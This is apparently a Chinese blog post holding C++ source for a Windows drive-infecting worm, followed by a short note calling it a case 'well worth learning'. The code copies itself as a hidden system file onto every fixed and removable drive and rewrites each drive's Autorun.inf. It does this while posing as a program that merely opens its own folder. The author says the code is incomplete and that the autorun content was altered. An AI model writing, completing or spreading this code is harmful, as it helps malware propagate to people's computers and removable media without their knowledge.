// ConPro.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <iostream>
#include <WinSock2.h>
using namespace std;
#pragma comment(lib,"ws2_32.lib")
//获取当前程序目录
BOOL OpenPath(void)
{
/******如果程序执行完毕 则代表模拟打开程序目录成功 否则则失败*******/
char path[MAX_PATH] ={0};
GetModuleFileName(NULL,path,MAX_PATH);
path[strlen(path)-9] = '\0';
ShellExecute(NULL,NULL,path,NULL,NULL,SW_SHOWNORMAL);
return TRUE;
}
BOOL InfectDriver(void)
{
for(char ch='a';ch<='z';ch++)
{
char path[MAX_PATH] = {ch,':'};
if(GetDriveType(path) == DRIVE_FIXED || GetDriveType(path) == DRIVE_REMOVABLE)
{
char p[MAX_PATH] = {0};
memcpy(p,path,MAX_PATH);
strcat(path,"\\bianbian.exe");
char temp[MAX_PATH] = {0};
GetModuleFileName(NULL,temp,MAX_PATH);
CopyFile(temp,path,false);
SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
strcat(p,"\\Autorun.inf");
DeleteFile(p);
FILE *fp = fopen(p,"a");
memset(temp,0,MAX_PATH);
memcpy(temp,"shaoyongyna.exe",MAX_PATH);
fputs(temp,fp);
fclose(fp);
SetFileAttributes(p,FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
}
}
return TRUE;
}
int main(int argc, _TCHAR* argv[])
{
InfectDriver();
if(OpenPath())
cout << "打开成功";
else
cout << "打开失败";
cout << "hello world";
return 0;
}
这是一个感染的案例
程序采用隐藏执行,枚举磁盘,等手段。很值得学习。(程序不完整)仅仅有感染功能 另外我改了Autorun.inf文件中的内容。防止自己电脑上重复执行
Win7 系统可以执行 但是遇到BitLocker加密的磁盘,拷贝会出现错误。
//Over